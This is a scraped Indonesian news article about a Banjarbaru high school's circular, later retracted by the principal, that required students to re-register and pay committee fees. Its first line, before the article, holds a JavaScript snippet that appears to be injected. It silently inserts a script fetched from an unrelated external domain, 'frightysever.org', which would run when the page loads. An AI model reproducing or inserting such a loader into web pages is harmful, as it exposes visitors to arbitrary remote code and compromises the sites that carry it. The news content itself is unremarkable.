(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Surat edaran yang dikeluarkan pihak SMA Negeri 4 Banjarbaru, Rabu (15/7/20202) sontak membuat orangtua siswa kaget. Surat itu berisi pemberitahuan kepada siswa kelas sebelas (XI) dan dua belas (XII) untuk melakukan pendaftaran ulang.
Persoalannya, dalam isi surat tersebut pihak sekolah mengumumkan bahwa salah satu syarat pendaftaran ulang sekaligus untuk mengambil rapor semester, yakni wajib melunasi iuran komite sekolah pada Juni 2020.
Siswa diberi jangka waktu untuk melakukan daftar ulang, hanya dalam tempo dua hari, terhitung pada Kamis (16/7/2020) hingga Jumat (17/7/2020).
Mengejutkan lagi, dalam isi terakhir surat tersebut, pihak sekolah menyatakan apabila siswa tidak mendaftar ulang pada batas waktu yang telah ditentukan, maka akan dianggap mengundurkan diri.
Baca juga:
Hal ini jelas sangat memberatkan bagi para orangtua siswa, terkhusus mereka yang kondisi ekonominya tergolong rendah. Apalagi, anak-anak mereka juga terancam putus pendidikan jika terlambat untuk melakukan daftar ulang.
Saat kanalkalimantan.com menghubungi dan mengonfirmasikan hal itu, Kepala SMAN 4 Banjarbaru, Dra Sumini, melalui telepon secara blak-blakan mengklaim bahwa pemberitahuan daftar ulang yang tertera di surat edaran tersebut memang salah.
“Saya minta maaf atas beredarnya surat pemberitahuan daftar ulang itu. Ini murni kesalahan redaksi dari pihak kami. Saat ini saya sedang melakukan revisi terhadap isi surat edaran tersebut,” tutur dia.
Dijelaskan Sumini, pihaknya akan menghapus kebijakan tentang kewajiban daftar ulang bagi para siswa kelas XI dan XII. Ia mengungkapkan, bahwa surat edaran yang baru hanya berisi pemberitahuan tentang pengambilan rapor.
“Kami juga akan mengatur ulang jadwalnya. Intinya tidak ada daftar ulang. Hanya pengambilan rapor,” tegas dia.
Lantas, bagaimana dengan syarat wajib melunasi iuran komite sekolah di Juni ini? Mengingat pada tahun ini untuk setiap siswa diwajibkan membayar iuran komite sekolah sebesar Rp 100 ribu per bulan, Sumini mengungkapkan bahwa pihaknya akan memberi keringanan bagi orangtua siswa yang terkendala ekonomi.
Sebab, pihaknya memang telah banyak mendapatkan laporan keluhan dari para orangtua siswa atas kebijakan ini.
Baca juga:
“Kami akan beri keringanan kepada orangtua siswa dengan melihat kondisi ekonomi mereka. Sekali lagi kami meminta maaf atas beredarnya surat pemberitahun daftar ulang ini,” katanya.
Meski demikian, lanjut dia, bagi para siswa XI dan XII yang nantinya ingin mengambil raport masih harus diwajibkan memiliki kartu bebas perpustakaan atau tidak memiliki tanggungan perpustakaan. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.